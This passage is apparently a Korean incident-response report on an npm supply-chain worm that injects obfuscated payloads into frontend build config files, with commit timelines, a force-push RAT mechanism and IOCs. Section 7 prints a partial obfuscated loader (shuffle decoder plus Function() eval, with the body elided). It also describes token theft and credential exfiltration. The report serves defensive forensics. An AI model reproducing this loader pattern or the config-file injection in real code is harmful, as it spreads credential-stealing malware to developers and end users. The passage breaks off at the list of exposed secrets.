postcss.config.* / tailwind.config.* / vite.config.* / next.config.* / eslint.config.* 만
✅
알려진 worm 시그니처와 유사
2025-09 Shai-Hulud npm worm 의 obfuscation 패턴(shuffle-decode-eval, require 글로벌 노출)과 일치
✅
6/6 기준 충족 → npm 공급망 공격 확정. 단일 머신 침해(compromise) 가 아닌, 감염된 npm 패키지가 install 되는 모든 머신을 worm 화하는 자가 전파형.
3. 공급망 공격의 일반 원리 (단계별)
npm 패키지 maintainer 토큰 탈취
피싱 / GitHub Actions 시크릿 노출 / 의존성 transitive 침해 등으로 인기 패키지의 publish 권한 획득. (Shai-Hulud 의 경우 tinycolor, @ctrl/tinycolor 등이 초기 진입점)
감염 버전 publish
패키지의 postinstall 또는 prepare script 에 페이로드 첨가. 또는 패키지 본체 코드에 동적 import-time payload 삽입.
피해자 머신에서 installnpm install / pnpm install / yarn install 또는 transitive 의존성으로 자동 fetch. postinstall 자동 실행.
로컬 자동 인젝션 (codemod)
postinstall 이 프로젝트 루트의 ESM build config 파일 (*.config.mjs, tailwind.config.js 등) 을 검색해 끝줄에 obfuscated payload 를 자동 삽입. ESM 호환을 위해 createRequire import 도 같이 추가.
시크릿 탈취 + 자가 전파
build/dev 실행 시 payload 가 활성화 — ~/.npmrc 토큰, ~/.aws, GitHub PAT, 환경변수 exfil. 탈취한 npm 토큰으로 다른 패키지를 publish 하며 worm 확산.
commit / push 로 코드베이스 오염
개발자가 일반 작업 후 git push → 감염된 config 파일이 같이 commit 됨. 자동화 push 스크립트(temp_auto_push.bat)가 있으면 더 빠르게 확산.
CI/CD 가 감염 코드 빌드 → production 배포
main 의 감염 commit 이 GitHub Actions runner 에서 빌드되어 frontend 번들에 페이로드 포함. 사용자 브라우저까지 도달 가능.
4. 두 머지 commit 비교
1차 (b4594688)
2차 (ccc449b0)
committer
GitHubUI 머지
jaykim-cmd로컬 머지
parents
23c6ebae, df796fa6
동일 (sibling = force-push)
tailwind.config.js
정상
페이로드 +5 -1
.gitignore
—
+2temp_*push.bat
Deploy Action
25986386220 (jaykim-cmd)
25988178828 (iyeaaa)
5. 시점 (KST)
17:43
Claude 봇이 PR #880 head df796fa6 작성 — 깨끗
17:53
jaykim-cmd 가 GitHub UI 에서 머지 → b4594688 · 1차 배포 시작 (Action 25986386220)
17:55
1차 배포 완료 — 깨끗 코드
~87분
공백 — 이 사이 로컬 머신에서 페이로드 자동 주입 (postinstall codemod 추정)
19:21iyeaaa 가 main 에 force-push b4594688 → ccc449b0 · 2차 배포 시작
createRequire 는 ESM 에서 require 함수를 확보 (payload 가 global[require]=require 호출하므로 필수). 끝줄 공백 패딩으로 PR review 회피.
.gitignore +2
+temp_auto_push.bat+temp_interactive_push.bat
sim 레포 csh1668 cleanup 커밋과 완전 동일. 같은 자동화 도구가 두 머신에서 동작 = 운반체 시그니처.
7. 실제 페이로드 코드 (난독화 원본)
global['!']='10-2420';
var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j<h;j++){g[j]=l.charAt(j)};
for(var j=0;j<h;j++){var s=e*(j+489)+(e%19597);var w=e*(j+659)+(e%48014);
var t=s%h;var p=w%h;var y=g[t];g[t]=g[p];g[p]=y;e=(s+w)%4573868};
var x=String.fromCharCode(127);…return g.join(…)})("rmcej%otb%",2857687);
global[_$_1e42[0]]= require; // ← require 글로벌 노출
if(typeof module===_$_1e42[1]){global[_$_1e42[2]]=module};
(function(){
var sfL=…; // 2단 셔플 디코더
var dgC=sfL[EKc]; var xBg=dgC(Apa,sfL(joW)); // Function() 생성
var pYd=xBg(sfL('o B%v[Raca)rs_…약 4KB 암호화 본문…'));
var Tgw=jFD(LQI,pYd); Tgw(2509); // payload 실행
})();
요소
의도
global['!']='10-2420'
"이미 감염됨" 자가 마커. 재감염 방지 + 변종 버전 식별. sim 에서 v7 → v10 재인젝션 관찰됨.
global[require]=require
ESM (.mjs) 환경에서도 동적 require 가능하도록 글로벌 노출
Fisher-Yates 셔플 디코드 → Function() eval
정적 분석 회피. 4KB 의 암호화 페이로드를 런타임에 복호.
Tgw(2509)
디코드된 본체 실행. 인자(2509)는 변종 enum.
8. Self-healing 증거 (PolinRider commit tampering)
sim 레포의 csh1668 가 만든 [malware-cleanup] Remove obfuscated global payload 커밋(cc7c946d, 2025-11-20) 의 실제 diff:
-export default config; … global['!']='7-1053'; var _$_1e42=…+export default config; … global['!']='10-2420'; var _$_1e42=…
cleanup 시도가 v7 페이로드를 제거하면서 동시에 v10 페이로드를 새로 주입. 사람이 손으로 할 수 없는 동작이며, 정확한 원인은
PolinRider RAT 의 commit amend + force-push 입니다.
메타데이터 검증 — amend 흔적
항목
값
의미
author_date
2025-11-20T05:13:14Z
사람이 commit 만든 시각
committer_date
2025-11-20T05:13:16Z (+2초)
amend 흔적 — 누군가 commit 을 사후 수정
csh1668 의 다른 commits
author_date == committer_date (모두 일치)
이 commit 만 예외
변경 파일
.gitignore + 2 postcss.config.mjs
.gitignore 에 temp_*push.bat 추가 = PolinRider IOC
verified
false (unsigned)
서명 없어 위조 가능
매커니즘 (단계별)
csh1668 의 정상 cleanup 작업
페이로드(v7) 발견 → 수동으로 끝줄 삭제 → git add → git commit -m "[malware-cleanup] …". 이 시점 워킹트리는 깨끗.
PolinRider RAT 가 새 commit 을 감지 (백그라운드 데몬)temp_auto_push.bat 를 임시 생성하고 실행.
commit amend + 페이로드 재주입
postcss.config.mjs 끝줄에 v10 페이로드 재삽입. .gitignore 에 자기 흔적(.bat 2 줄) 추가. git commit --amend --no-edit 실행 → 이 때문에 committer_date 가 +2초 변경됨.
force-pushgit push --force 로 GitHub 에 amended commit 도달. csh1668 는 본인이 cleanup 만 push 했다고 믿지만 실제로는 v10 페이로드 포함.
흔적 정리temp_*push.bat 자체 삭제 (그러나 .gitignore 항목은 commit 에 영구 박힘 → 역설적으로 가장 강력한 IOC 가 됨)
대안 가설 비교
가설
증거 강도
한계
PolinRider RAT amend + force-push
🚨 유력
.bat IOC + author/committer date 불일치 + Trend Micro 보고 시그니처 일치
npm install postinstall codemod
약함
node_modules/lockfile 변경 commit 없음, .bat IOC 와 직접 연결 안 됨
git pre-commit hook 직접 modify
가능
PolinRider 가 hook 을 wrapping 하는 형태가 더 자연스러움
9. 6개월 확산 시간선
날짜
레포
commit
유입 머신
2025-07-22
saydo
50efc0c next.config.mjs 생성
깨끗
2025-07-23
saydo
7a0091d최초 감염
hoangnv170752
2025-10-15
sim
4d3231d postcss.config.mjs 감염
SeoHyeon
2025-11-20
sim
cc7c946 v7 → v10 재인젝션
csh1668
2026-05-17
ai-real-estate
ccc449b tailwind.config.js 감염 + alpha 배포
jaykim-cmd / iyeaaa
10. alpha 빌드에 노출된 secrets (회전 대상)
.github/workflows/deploy-alpha.yml 가 노출한 GitHub Actions secrets — 감염 빌드가 이 시크릿 환경에서 실행됨: